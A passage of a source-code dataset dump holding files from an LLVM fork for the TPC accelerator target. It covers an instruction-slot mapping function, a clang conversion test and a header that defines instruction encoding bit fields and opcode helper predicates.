TPCTTIImpl::getVectorScalarInfo(\n Type::TypeID Input,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &target) {\n if (Input == Type::VectorTyID) {\n target.the_registerFile = TPCLatencyEvaluation::e_rf_v;\n target.the_isVectorPipe = true;\n target.the_slotID = TPCLatencyEvaluation::e_issue_slot_vpu;\n } else {\n target.the_slotID = TPCLatencyEvaluation::e_issue_slot_spu;\n target.the_registerFile = TPCLatencyEvaluation::e_rf_s;\n }\n return true;\n}\n\nbool TPCTTIImpl::initIldMap(void) {\n\n if (!getIntrinToSlotMap().empty()) {\n return true;\n }\n\n#define MAP_COMPOUND_INST(INSTRUCTION, COMPOUND_CLASS) \\\n getCiiMap().insert(std::make_pair(Instruction::INSTRUCTION, \\\n std::make_shared<COMPOUND_CLASS>()));\n\n#define MAP_INST(INSTRUCTION, SLOT) \\\n getInstToSlotMap().insert(std::pair<int, VpuSpuSlot>( \\\n Instruction::INSTRUCTION, \\\n VpuSpuSlot(TPCII::vpu##SLOT, TPCII::spu##SLOT)));\n\n#define MAP_INST_SPU(INSTRUCTION, SLOT) \\\n getInstToSlotMap().insert(std::pair<int, VpuSpuSlot>( \\\n Instruction::INSTRUCTION, VpuSpuSlot(-1, TPCII::spu##SLOT)));\n\n#define MAP_INTRIN(INTRINSIC, SLOT) \\\n getIntrinToSlotMap().insert(std::pair<Intrinsic::ID, VpuSpuSlot>( \\\n Intrinsic::tpc_##INTRINSIC, \\\n VpuSpuSlot(TPCII::vpu##SLOT, TPCII::spu##SLOT)));\n\n#define MAP_III(INTRINSIC, INSTRUCTION, SLOT) \\\n MAP_INTRIN(INTRINSIC, SLOT) \\\n MAP_INST(INSTRUCTION, SLOT)\n\n#define MAP_INTRIN_VPU(INTRINSIC, SLOT) \\\n getIntrinToSlotMap().insert(std::pair<Intrinsic::ID, VpuSpuSlot>( \\\n Intrinsic::tpc_##INTRINSIC, VpuSpuSlot(TPCII::vpu##SLOT, -1)));\n\n#include \"Ild_mapper.def\"\n#undef MAP_III\n#undef MAP_COMPOUND_INST\n#undef MAP_INST\n#undef MAP_INTRIN\n#undef MAP_INTRIN_VPU\n\n LLVM_DEBUG(dbgs() << \"Intrinsic to H/W slot\\n\");\n for (auto Elem : getIntrinToSlotMap()) {\n LLVM_DEBUG(dbgs() << \"Intrinsic \" << Elem.first << \" => \"\n << \"Vector slot \" << Elem.second.first << \"Scalar slot \"\n << Elem.second.second << \"\\n\");\n }\n LLVM_DEBUG(dbgs() << \"Instruction to H/W slot\\n\");\n for (auto Elem : getInstToSlotMap()) {\n LLVM_DEBUG(dbgs() << \"Instruction \" << Elem.first << \" => \"\n << \"Vector slot \" << Elem.second.first << \"Scalar slot \"\n << Elem.second.second << \"\\n\");\n }\n\n return true;\n}\n\ntemplate <class MapType, class KeyType>\nbool TPCTTIImpl::getOpcodeSlot(\n const KeyType Id, const Type::TypeID Ty,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &Ild,\n const MapType &Map) const {\n bool Success = false;\n\n if (Map.find(Id) != Map.end()) {\n Ild.the_opCode =\n (Ty == Type::VectorTyID) ? Map.at(Id).first : Map.at(Id).second;\n LLVM_DEBUG(dbgs() << \"\\nOpcode found! Ild.the_opCode = \" << Ild.the_opCode\n << \"\\n\");\n Success = true;\n }\n return Success;\n}\n" }, { "alpha_fraction": 0.5146805047988892, "alphanum_fraction": 0.6442141532897949, "avg_line_length": 47.25, "blob_id": "c2deb40aeb8cb15de17ab86020f3952718174061", "content_id": "492c370cebed5b841b80ae38c1d1d37545194a97", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 579, "license_type": "permissive", "max_line_length": 144, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_float128_to_int128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n float128 *sptr = (float128 *)src;\n int128 *dptr = (int128 *)dest;\n float128 src_val = *sptr;\n *dptr++ = convert_float128_to_int128(src_val, SW_RZ);\n *dptr = convert_float128_to_int128(src_val, SW_RD);\n}\n\n// CHECK-IR: fptosi <128 x float> {{.*}} to <128 x i32>\n// CHECK-IR: call <128 x i32> @llvm.tpc.convert.v128i32.v128f32.i1(<128 x float> {{.*}}, i8 0, i32 197120, <128 x i32> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.706526517868042, "alphanum_fraction": 0.7347350120544434, "avg_line_length": 30.10354232788086, "blob_id": "4f92a0330ff7f28be4a5145e26e4c03c66755677", "content_id": "d76513e25540e90bdf56113d7e0ec28bad44568e", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 22830, "license_type": "permissive", "max_line_length": 95, "num_lines": 734, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCMCInstrInfo.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--------TPCMCInstrInfo.H---------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// Utility functions for TPC specific MCInst queries\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_MCTARGETDESC_TPCMCINSTRINFO_H\n#define LLVM_LIB_TARGET_TPC_MCTARGETDESC_TPCMCINSTRINFO_H\n\n//#include \"TPCMCExpr.h\"\n#include \"InstructionDB.h\"\n#include \"llvm/MC/MCInst.h\"\n#include \"llvm/MC/MCInstrDesc.h\"\n\nnamespace llvm {\nclass MachineInstr;\nclass MCContext;\nclass MCInstrDesc;\nclass MCInstrInfo;\nclass MCInst;\nclass MCOperand;\nclass MCSubtargetInfo;\n\nnamespace TPCII {\n\n// Instruction types.\n// *** Must match TPCInstrFormat*.td ***\nenum IType {\n TypeNone = 0,\n TypeVPU = 1,\n TypeSPU = 2,\n TypeLOAD = 3,\n TypeSTORE = 4,\n TypeLOOP = 5\n};\n\nenum CmpMode {\n LoopGT = 0,\n LoopGE = 1,\n LoopLT = 2,\n LoopLE = 3,\n LoopEQ = 4,\n LoopNE = 5,\n LoopErr = -1\n};\n\n\n// MCInstrDesc TSFlags layout\n// *** Must match TPCInstrFormat*.td ***\n\nconst unsigned ITypeStart = 0;\nconst unsigned ITypeEnd = 2;\nconst unsigned ITypeSize = (ITypeEnd - ITypeStart + 1);\nconst uint64_t ITypeMask = (1ULL << ITypeSize) - 1;\n\nconst unsigned HasImmStart = 3;\nconst uint64_t HasImmMask = 1ULL;\n\nconst unsigned IsPredicatedStart = 4;\nconst uint64_t IsPredicatedMask = 1ULL;\n\nconst unsigned OutOfSlotDataStart = 5;\nconst uint64_t OutOfSlotDataMask = 1ULL;\n\nconst unsigned HasImmFieldStart = 6;\nconst uint64_t HasImmFieldMask = 1ULL;\n\nconst unsigned ImmStartBitStart = 7;\nconst unsigned ImmStartBitEnd = 11;\nconst unsigned ImmStartBitSize = (ImmStartBitEnd - ImmStartBitStart + 1);\nconst uint64_t ImmStartBitMask = (1ULL << ImmStartBitSize) - 1;\n\nconst unsigned ImmEndBitStart = 12;\nconst unsigned ImmEndBitEnd = 16;\nconst unsigned ImmEndBitSize = (ImmEndBitEnd - ImmEndBitStart + 1);\nconst uint64_t ImmEndBitMask = (1ULL << ImmEndBitSize) - 1;\n\nconst unsigned ImmOpNumStart = 17;\nconst unsigned ImmOpNumEnd = 20;\nconst unsigned ImmOpNumSize = (ImmOpNumEnd - ImmOpNumStart + 1);\nconst uint64_t ImmOpNumMask = (1ULL << ImmOpNumSize) - 1;\n\nconst unsigned SlotOpCodeStart = 24;\nconst unsigned SlotOpCodeEnd = 29;\nconst unsigned SlotOpCodeSize = (SlotOpCodeEnd - SlotOpCodeStart + 1);\nconst uint64_t SlotOpCodeMask = (1ULL << SlotOpCodeSize) - 1;\n\n// TODO: Remove this.\nconst unsigned OpTypeCodeStart = 30;\nconst unsigned OpTypeCodeEnd = 33;\nconst unsigned OpTypeCodeSize = (OpTypeCodeEnd - OpTypeCodeStart + 1);\nconst uint64_t OpTypeCodeMask = (1ULL << OpTypeCodeSize) - 1;\n\nconst unsigned HasCompositeImmStart = 34;\nconst uint64_t HasCompositeImmMask = 1ULL;\n\nconst unsigned ImmOpCountStart = 35;\nconst uint64_t ImmOpCountMask = 3ULL; //011b\n\nconst unsigned SecondImmOpStart = 37;\nconst unsigned SecondImmOpEnd = 40;\nconst unsigned SecondImmOpSize = (SecondImmOpEnd - SecondImmOpStart + 1);\nconst uint64_t SecondImmOpMask = (1ULL << SecondImmOpSize) - 1;\n\nconst unsigned ThirdImmOpStart = 41;\nconst unsigned ThirdImmOpEnd = 44;\nconst unsigned ThirdImmOpSize = (ThirdImmOpEnd - ThirdImmOpStart + 1);\nconst uint64_t ThirdImmOpMask = (1ULL << ThirdImmOpSize) - 1;\n\nconst unsigned FirstImmBitsStart = 45;\nconst unsigned FirstImmBitsEnd = 48;\nconst unsigned FirstImmBitsSize = (FirstImmBitsEnd - FirstImmBitsStart + 1);\nconst uint64_t FirstImmBitsMask = (1ULL << FirstImmBitsSize) - 1;\n\nconst unsigned SecondImmBitsStart = 49;\nconst unsigned SecondImmBitsEnd = 52;\nconst unsigned SecondImmBitsSize = (SecondImmBitsEnd - SecondImmBitsStart + 1);\nconst uint64_t SecondImmBitsMask = (1ULL << SecondImmBitsSize) - 1;\n\nconst unsigned ThirdImmBitsStart = 53;\nconst unsigned ThirdImmBitsEnd = 56;\nconst unsigned ThirdImmBitsSize = (ThirdImmBitsEnd - ThirdImmBitsStart + 1);\nconst uint64_t ThirdImmBitsMask = (1ULL << ThirdImmBitsSize) - 1;\n\nconst unsigned LanesStart = 57;\nconst unsigned LanesEnd = 59;\nconst unsigned LanesSize = (LanesEnd - LanesStart + 1);\nconst uint64_t LanesMask = (1ULL << LanesSize) - 1;\n\nconst unsigned SrcCIsStoreSrcCStart = 61;\nconst uint64_t SrcCIsStoreSrcCMask = 1ULL;\n\nconst unsigned HasSrcCStart = 62;\nconst uint64_t HasSrcCMask = 1ULL;\n\nconst unsigned HasSrcDStart = 63;\nconst uint64_t HasSrcDMask = 1ULL;\n\n// Accessors to the data in TSFlags.\n\ninline unsigned getInstrType(const MCInstrDesc &MCInstD) {\n return static_cast<unsigned>((MCInstD.TSFlags >> ITypeStart) & TPCII::ITypeMask);\n}\n\ninline bool isVPUInst(const MCInstrDesc &MCInstD) {\n return getInstrType(MCInstD) == TPCII::TypeVPU;\n}\n\ninline bool isSPUInst(const MCInstrDesc &MCInstD) {\n return getInstrType(MCInstD) == TPCII::TypeSPU;\n}\n\ninline bool isStoreInst(const MCInstrDesc &MCInstD) {\n return getInstrType(MCInstD) == TPCII::TypeSTORE;\n}\n\ninline bool isLoadInst(const MCInstrDesc &MCInstD) {\n return getInstrType(MCInstD) == TPCII::TypeLOAD;\n}\n\ninline bool isLoopInst(const MCInstrDesc &MCInstD) {\n return getInstrType(MCInstD) == TPCII::TypeLOOP;\n}\n\ninline bool getHasImm(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> HasImmStart) & TPCII::HasImmMask;\n}\n\ninline bool getHasCompositeImm(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> HasCompositeImmStart) & TPCII::HasCompositeImmMask;\n}\n\ninline bool getIsPredicated(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> IsPredicatedStart) & TPCII::IsPredicatedMask;\n}\n\ninline bool getHasOutOfSlotData(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> OutOfSlotDataStart) & TPCII::OutOfSlotDataMask;\n}\n\ninline bool getHasImmField(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> HasImmFieldStart) & TPCII::HasImmFieldMask;\n}\n\ninline unsigned getImmStart(const MCInstrDesc &MCInstD) {\n return static_cast<unsigned>((MCInstD.TSFlags >> ImmStartBitStart) & TPCII::ImmStartBitMask);\n}\n\ninline unsigned getImmEnd(const MCInstrDesc &MCInstD) {\n return static_cast<unsigned>((MCInstD.TSFlags >> ImmEndBitStart) & TPCII::ImmEndBitMask);\n}\n\ninline unsigned getImmFieldOpNum(const MCInstrDesc &MCInstD) {\n return static_cast<unsigned>((MCInstD.TSFlags >> ImmOpNumStart) & TPCII::ImmOpNumMask);\n}\n\ninline unsigned getSlotOpCode(const MCInstrDesc &MCInstD) {\n return static_cast<unsigned>((MCInstD.TSFlags >> SlotOpCodeStart) & TPCII::SlotOpCodeMask);\n}\n\ninline bool getImmOpCount(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> ImmOpCountStart) & TPCII::ImmOpCountMask;\n}\n\ninline bool getSecondImmOp(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> SecondImmOpStart) & TPCII::SecondImmOpMask;\n}\n\ninline bool getThirdImmOp(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> ThirdImmOpStart) & TPCII::ThirdImmOpMask;\n}\n\ninline bool getFirstImmBits(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> FirstImmBitsStart) & TPCII::FirstImmBitsMask;\n}\n\ninline bool getSecondImmBits(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> SecondImmBitsStart) & TPCII::SecondImmBitsMask;\n}\n\ninline bool getThirdImmBits(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> ThirdImmBitsStart) & TPCII::ThirdImmBitsMask;\n}\n\n// TODO: Remove this.\ninline OpType getOpType(const MCInstrDesc &MCInstD) {\n uint64_t Value = (MCInstD.TSFlags >> OpTypeCodeStart) & TPCII::OpTypeCodeMask;\n assert(Value <= OpType::Max);\n return static_cast<OpType>(Value);\n}\n\ninline unsigned getLanesCount(const MCInstrDesc &MCInstD) {\n return static_cast<unsigned>((MCInstD.TSFlags >> LanesStart) & TPCII::LanesMask);\n}\n\ninline bool getSrcCIsStoreSrcC(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> SrcCIsStoreSrcCStart) & TPCII::SrcCIsStoreSrcCMask;\n}\n\ninline bool getHasSrcC(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> HasSrcCStart) & TPCII::HasSrcCMask;\n}\n\ninline bool getHasSrcD(const MCInstrDesc &MCInstD) {\n return (MCInstD.TSFlags >> HasSrcDStart) & TPCII::HasSrcDMask;\n}\n\n// Instruction logical layout.\n// *** Must match TPCInstrFormat*.td ***\n\n// Load slot.\nconst unsigned LdSrcAStart = 0;\nconst unsigned LdSrcAEnd = 7;\nconst unsigned LdSrcASize = LdSrcAEnd - LdSrcAStart + 1;\n\nconst unsigned LdDestStart = 8;\nconst unsigned LdDestEnd = 15;\nconst unsigned LdDestSize = LdDestEnd - LdDestStart + 1;\n\nconst unsigned LdOpCodeStart = 16;\nconst unsigned LdOpCodeEnd = 20;\nconst unsigned LdOpCodeSize = LdOpCodeEnd - LdOpCodeStart + 1;\n\nconst unsigned LdPolarityBit = 42;\n\nconst unsigned LdPredicateStart = 43;\nconst unsigned LdPredicateEnd = 46;\nconst unsigned LdPredicateSize = LdPredicateEnd - LdPredicateStart + 1;\n\nconst unsigned LdVectorPredBit = 47;\n\nconst unsigned LdSrcBStart = 48;\nconst unsigned LdSrcBEnd = 56;\nconst unsigned LdSrcBSize = LdSrcBEnd - LdSrcBStart + 1;\n\nconst unsigned LdSwitchesStart = 57;\nconst unsigned LdSwitchesEnd = 63;\nconst unsigned LdSwitchesSize = LdSwitchesEnd - LdSwitchesStart + 1;\n\n// SPU slot.\nconst unsigned SpuOpCodeStart = 0;\nconst unsigned SpuOpCodeEnd = 5;\nconst unsigned SpuOpCodeSize = SpuOpCodeEnd - SpuOpCodeStart + 1;\n\nconst unsigned SpuSrcAStart = 6;\nconst unsigned SpuSrcAEnd = 12;\nconst unsigned SpuSrcASize = SpuSrcAEnd - SpuSrcAStart + 1;\n\nconst unsigned SpuSrcBStart = 13;\nconst unsigned SpuSrcBEnd = 19;\nconst unsigned SpuSrcBSize = SpuSrcBEnd - SpuSrcBStart + 1;\n\nconst unsigned SpuDestStart = 20;\nconst unsigned SpuDestEnd = 26;\nconst unsigned SpuDestSize = SpuDestEnd - SpuDestStart + 1;\n\nconst unsigned SpuOpTypeStart = 27;\nconst unsigned SpuOpTypeEnd = 30;\nconst unsigned SpuOpTypeSize = SpuOpTypeEnd - SpuOpTypeStart + 1;\n\nconst unsigned SpuPolarityBit = 31;\n\nconst unsigned SpuPredicateStart = 32;\nconst unsigned SpuPredicateEnd = 35;\nconst unsigned SpuPredicateSize = SpuPredicateEnd - SpuPredicateStart + 1;\n\nconst unsigned SpuSwitchesStart = 36;\nconst unsigned SpuSwitchesEnd = 42;\nconst unsigned SpuSwitchesSize = SpuSwitchesEnd - SpuSwitchesStart + 1;\n\n// VPU slot.\nconst unsigned VpuOpCodeStart = 0;\nconst unsigned VpuOpCodeEnd = 5;\nconst unsigned VpuOpCodeSize = VpuOpCodeEnd - VpuOpCodeStart + 1;\n\nconst unsigned VpuSrcAStart = 6;\nconst unsigned VpuSrcAEnd = 13;\nconst unsigned VpuSrcASize = VpuSrcAEnd - VpuSrcAStart + 1;\n\nconst unsigned VpuSrcBStart = 14;\nconst unsigned VpuSrcBEnd = 21;\nconst unsigned VpuSrcBSize = VpuSrcBEnd - VpuSrcBStart + 1;\n\nconst unsigned VpuSrcCStart = 22;\nconst unsigned VpuSrcCEnd = 29;\nconst unsigned VpuSrcCSize = VpuSrcCEnd - VpuSrcCStart + 1;\n\nconst unsigned VpuSrcDStart = 30;\nconst unsigned VpuSrcDEnd = 38;\nconst unsigned VpuSrcDSize = VpuSrcDEnd - VpuSrcDStart + 1;\n\nconst unsigned VpuDestStart = 39;\nconst unsigned VpuDestEnd = 46;\nconst unsigned VpuDestSize = VpuDestEnd - VpuDestStart + 1;\n\nconst unsigned VpuSwitches1Start = 47;\nconst unsigned VpuSwitches1End = 49;\nconst unsigned VpuSwitches1Size = VpuSwitches1End - VpuSwitches1Start + 1;\n\nconst unsigned VpuOpTypeStart = 50;\nconst unsigned VpuOpTypeEnd = 53;\nconst unsigned VpuOpTypeSize = VpuOpTypeEnd - VpuOpTypeStart + 1;\n\nconst unsigned VpuPolarityBit = 54;\n\nconst unsigned VpuPredicateStart = 55;\nconst unsigned VpuPredicateEnd = 58;\nconst unsigned VpuPredicateSize = VpuPredicateEnd - VpuPredicateStart + 1;\n\nconst unsigned VpuVectorPredBit = 59;\n\nconst unsigned VpuSwitches2Start = 60;\nconst unsigned VpuSwitches2End = 63;\nconst unsigned VpuSwitches2Size = VpuSwitches2End - VpuSwitches2Start + 1;\n\n// Store slot\n\nconst unsigned StSrcAStart = 0;\nconst unsigned StSrcAEnd = 7;\nconst unsigned StSrcASize = StSrcAEnd - StSrcAStart + 1;\n\nconst unsigned StSrcBStart = 8;\nconst unsigned StSrcBEnd = 15;\nconst unsigned StSrcBSize = StSrcBEnd - StSrcBStart + 1;\n\nconst unsigned StOpCodeStart = 16;\nconst unsigned StOpCodeEnd = 20;\nconst unsigned StOpCodeSize = StOpCodeEnd - StOpCodeStart + 1;\n\nconst unsigned StPolarityBit = 21;\n\nconst unsigned StPredicateStart = 22;\nconst unsigned StPredicateEnd = 25;\nconst unsigned StPredicateSize = StPredicateEnd - StPredicateStart + 1;\n\nconst unsigned StVectorPredBit = 26;\n\nconst unsigned StSrcCStart = 27;\nconst unsigned StSrcCEnd = 34;\nconst unsigned StSrcCSize = StSrcCEnd - StSrcCStart + 1;\n\nconst unsigned StSwitchesStart = 35;\nconst unsigned StSwitchesEnd = 40;\nconst unsigned StSwitchesSize = StSwitchesEnd - StSwitchesStart + 1;\n\nconst unsigned Gen4StSwitchesStart = 35;\nconst unsigned Gen4StSwitchesEnd = 41;\nconst unsigned Gen4StSwitchesSize = Gen4StSwitchesEnd - Gen4StSwitchesStart + 1;\n\n// Instruction physic layout.\n\n// SPU slot\nconst unsigned SPUStart = 0;\nconst unsigned SPUEnd = 42;\nconst unsigned SPUSize = SPUEnd - SPUStart + 1;\n\nconst unsigned Gen3SPUStart = 2;\nconst unsigned Gen3SPUEnd = 44;\nconst unsigned Gen3SPUSize = Gen3SPUEnd - Gen3SPUStart + 1;\n\nconst unsigned Gen3SPUPredicateStart = 34;\nconst unsigned Gen3SPUPredicateEnd = 37;\nconst unsigned Gen3SPUPredicateSize = Gen3SPUPredicateEnd - Gen3SPUPredicateStart + 1;\n\nconst unsigned SPUOpCodeStart = 0;\nconst unsigned SPUOpCodeEnd = 5;\nconst unsigned SPUOpCodeSize = (SPUOpCodeEnd - SPUOpCodeStart + 1);\n\n// VPU slot\nconst unsigned VPUStart = 43;\nconst unsigned VPUSrcCStart = 65;\nconst unsigned VPUSrcDStart = 73;\nconst unsigned VPUSrcCEnd = 72;\nconst unsigned VPUSrcDEnd = 81;\nconst unsigned VPUSrcCSize = VPUSrcCEnd - VPUSrcCStart + 1;\nconst unsigned VPUSrcDSize = VPUSrcDEnd - VPUSrcDStart + 1;\nconst unsigned VPUEnd = 102;\nconst unsigned VPUSize = VPUEnd - VPUStart + 1;\n\nconst unsigned Gen3VPUStart = 45;\nconst unsigned Gen3VPUSrcCStart = 224;\nconst unsigned Gen3VPUSrcCEnd = 231;\nconst unsigned Gen3VPUSrcDStart = 232;\nconst unsigned Gen3VPUSrcDEnd = 239;\nconst unsigned Gen3VPUSrcEStart = 240;\nconst unsigned Gen3VPUSrcEEnd = 247;\nconst unsigned Gen3VPUSrcCSize = Gen3VPUSrcCEnd - Gen3VPUSrcCStart + 1;\nconst unsigned Gen3VPUSrcDSize = Gen3VPUSrcDEnd - Gen3VPUSrcDStart + 1;\nconst unsigned Gen3VPUSrcESize = Gen3VPUSrcEEnd - Gen3VPUSrcEStart + 1;\nconst unsigned Gen3VPUEnd = 91; // was 88 in 0.52\nconst unsigned Gen3VPUSize = Gen3VPUEnd - Gen3VPUStart + 1;\n\n// Load slot\nconst unsigned LDStart = 103;\nconst unsigned LDEnd = 150;\nconst unsigned LDSize = LDEnd - LDStart + 1;\n\nconst unsigned Gen3LDStart = 130;\nconst unsigned Gen3LDEnd = 172;\nconst unsigned Gen3LDSize = Gen3LDEnd - Gen3LDStart + 1;\n\n// Store slot\nconst unsigned STStart = 124;\nconst unsigned STEnd = 150;\nconst unsigned STSize = STEnd - STStart + 1;\n\nconst unsigned Gen3STStart = 173;\nconst unsigned Gen3STEnd = 219; // was 216 in 0.52\nconst unsigned Gen3STSize = Gen3STEnd - Gen3STStart + 1;\n\n// Immediate slot\nconst unsigned ImmStart = 151;\nconst unsigned ImmEnd = 182;\nconst unsigned ImmSize = ImmEnd - ImmStart + 1;\n\nconst unsigned Gen3ImmStart = 96;\nconst unsigned Gen3ImmEnd = 127;\nconst unsigned Gen3ImmSize = Gen3ImmEnd - Gen3ImmStart + 1;\nconst unsigned Gen3Imm1Start = 96;\nconst unsigned Gen3Imm1End = 127;\nconst unsigned Gen3Imm2Start = 224;\nconst unsigned Gen3Imm2End = 255;\n\n// Extra fields\nconst unsigned LDSTPolarity = 145;\nconst unsigned LDSTPredicateStart = 146;\nconst unsigned LDSTPredicateEnd = 150;\nconst unsigned LDSTPredicateSize = LDSTPredicateEnd - LDSTPredicateStart + 1;\n\n//\n// LD/ST switches layout for Gen1 (Goya, aka Dali) and Gen2 (Gaudi)\n//\nconst unsigned LDSwitchStart = 183;\nconst unsigned LDSwitchEnd = 186;\nconst unsigned LDSwitchSize = LDSwitchEnd - LDSwitchStart + 1;\nconst unsigned STSwitchStart = 187;\nconst unsigned STSwitchEnd = 190;\nconst unsigned STSwitchSize = STSwitchEnd - STSwitchStart + 1;\n\n\nconst unsigned InstructionSize = 256;\n\n// Gen3 compressed format fields\nconst unsigned slot1Size = 43;\nconst unsigned slot2Size = 44;\nconst unsigned slot1Start = 2;\nconst unsigned slot2Start = 45;\nconst unsigned slot3Start = 130;\nconst unsigned slot4Start = 173;\nconst unsigned imm1Start = 96;\nconst unsigned imm2Start = 224;\nconst unsigned cmpr1Start = 0;\nconst unsigned cmpr2Start = 128;\n\n// LOOP fields\nconst unsigned LOOPEncStart = 0;\nconst unsigned LOOPEncEnd = 35;\n\nconst unsigned LoopEncSize = LOOPEncEnd - LOOPEncStart + 1;\nconst unsigned LoopStartImmStart = 151;\nconst unsigned LoopBoundaryImmStart = 36;\nconst unsigned LoopStepImmStart = 68;\nconst unsigned LoopOffsetStart = 100;\nconst unsigned LoopCmpStart = 116;\n\nconst unsigned Gen3LOOPEncStart = 2;\nconst unsigned Gen3LOOPEncEnd = 37;\n\nconst unsigned Gen3LoopEncSize = Gen3LOOPEncEnd - Gen3LOOPEncStart + 1;\nconst unsigned Gen3LoopStartImmStart = 96;\nconst unsigned Gen3LoopBoundaryImmStart = 38;\nconst unsigned Gen3LoopStepImmStart = 128;\nconst unsigned Gen3LoopOffsetStart = 70;\nconst unsigned Gen3LoopCmpStart = 160;\n\n\n// Return whether insn is LOOKUP_C1C2 or LOOKUP_C0\ninline bool isLookupC(const MCInstrDesc &MCInstD) {\n if (!isLoadInst(MCInstD))\n return false;\n unsigned opc = TPCII::getSlotOpCode(MCInstD);\n return (opc == TPCII::LOOKUP_C1C2) || (opc == TPCII::LOOKUP_C0);\n}\n\ninline bool isLookup(const MCInstrDesc &MCInstD) {\n if (!isLoadInst(MCInstD))\n return false;\n switch (getSlotOpCode(MCInstD)) {\n case LOOKUP_C1C2: // also LOOKUP_2C\n case LOOKUP_C0: // also LOOKUP_1C\n case LOOKUP:\n return true;\n default:\n return false;\n }\n}\n\ninline bool isMac(const MCInstrDesc &MCInstD) {\n if (isVPUInst(MCInstD)) {\n return getSlotOpCode(MCInstD) == TPCII::vpuMAC;\n } else if (isSPUInst(MCInstD)) {\n return getSlotOpCode(MCInstD) == TPCII::spuMAC;\n } else {\n return false;\n }\n}\n\ninline bool isVpuConvert(const MCInstrDesc &MCInstD) {\n if (!isVPUInst(MCInstD))\n return false;\n switch (getSlotOpCode(MCInstD)) {\n case vpuCONVERT:\n case vpuCONVERT_INT32:\n case vpuCONVERT_UINT32:\n case vpuCONVERT_INT16:\n case vpuCONVERT_UINT16:\n return true;\n default:\n return false;\n }\n}\n\ninline bool isSel2(const MCInstrDesc &MCInstD) {\n if (!isVPUInst(MCInstD))\n return false;\n switch (getSlotOpCode(MCInstD)) {\n case vpuSEL2_LESS:\n case vpuSEL2_LEQ:\n case vpuSEL2_GRT:\n case vpuSEL2_GEQ:\n return true;\n default:\n return false;\n }\n}\n\ninline bool is_ld_l_v(const MCInstrDesc &MCInstD) {\n if (!isLoadInst(MCInstD))\n return false;\n switch (getSlotOpCode(MCInstD)) {\n case LD_L_V:return true;\n }\n return false;\n}\n\ninline bool is_st_l_v(const MCInstrDesc &MCInstD) {\n if (!isStoreInst(MCInstD))\n return false;\n switch (getSlotOpCode(MCInstD)) {\n case ST_L_V:return true;\n }\n return false;\n}\n\ninline bool is_st_l(const MCInstrDesc &MCInstD) {\n if (!isStoreInst(MCInstD))\n return false;\n switch (getSlotOpCode(MCInstD)) {\n case ST_L:\n return true;\n }\n return false;\n}\n\ninline bool is_ld_l(const MCInstrDesc &MCInstD) {\n if (!isLoadInst(MCInstD))\n return false;\n switch (getSlotOpCode(MCInstD)) {\n case LD_L:\n return true;\n }\n return false;\n}\n\ninline bool is_ld_tnsr(const MCInstrDesc &MCInstD) {\n if (!isLoadInst(MCInstD))\n return false;\n switch (getSlotOpCode(MCInstD)) {\n case LD_TNSR: // same encoding for stLD_TNSR\n case LD_TNSR_LOW: // same encoding for stLD_TNSR_LOW\n case LD_TNSR_HIGH: // same encoding for stLD_TNSR_HIGH\n return true;\n }\n return false;\n}\n\ninline bool is_st_tnsr(const MCInstrDesc &MCInstD) {\n if (!isStoreInst(MCInstD))\n return false;\n switch (getSlotOpCode(MCInstD)) {\n case ST_TNSR:\n case ST_TNSR_LOW:\n case ST_TNSR_HIGH:\n return true;\n }\n return false;\n}\n\ninline bool isAdd(const MCInstrDesc &MCInstD) {\n if (isSPUInst(MCInstD))\n return getSlotOpCode(MCInstD) == spuADD;\n if (isVPUInst(MCInstD))\n return getSlotOpCode(MCInstD) == vpuADD;\n return false;\n}\n}\n\n\nnamespace TPCMCInstrInfo {\n\n//\n// Bundle support\n//\nsize_t const bundleInstructionsOffset = 1;\n\n// Returns a iterator range of instructions in this bundle\niterator_range<MCInst::const_iterator> bundleInstructions(MCInst const &MCI);\n\n// Returns the number of instructions in the bundle\nsize_t bundleSize(MCInst const &MCI);\n\n// Put the packet in to canonical form, compound, duplex, pad, and shuffle\n//bool canonicalizePacket(MCInstrInfo const &MCII, MCSubtargetInfo const &STI,\n// MCContext &Context, MCInst &MCB,\n// TPCMCChecker *Checker);\n\nMCInst createBundle();\n\n//\n// End of Bundle support\n//\n\n// Returns whether this MCInst is a wellformed bundle\nbool isBundle(MCInst const &MCI);\n\nMCInstrDesc const &getDesc(MCInstrInfo const &MCII, MCInst const &MCI);\n\n// Return instruction name\nStringRef const getName(MCInstrInfo const &MCII, MCInst const &MCI);\n\n// Return the TPC ISA class for the insn.\nTPCII::IType getType(MCInstrInfo const &MCII, MCInst const &MCI);\n\n// Return whether insn has imm.\nbool hasImm(MCInstrInfo const &MCII, MCInst const &MCI);\n\n// Return whether insn has composite imm in TS flags\nbool 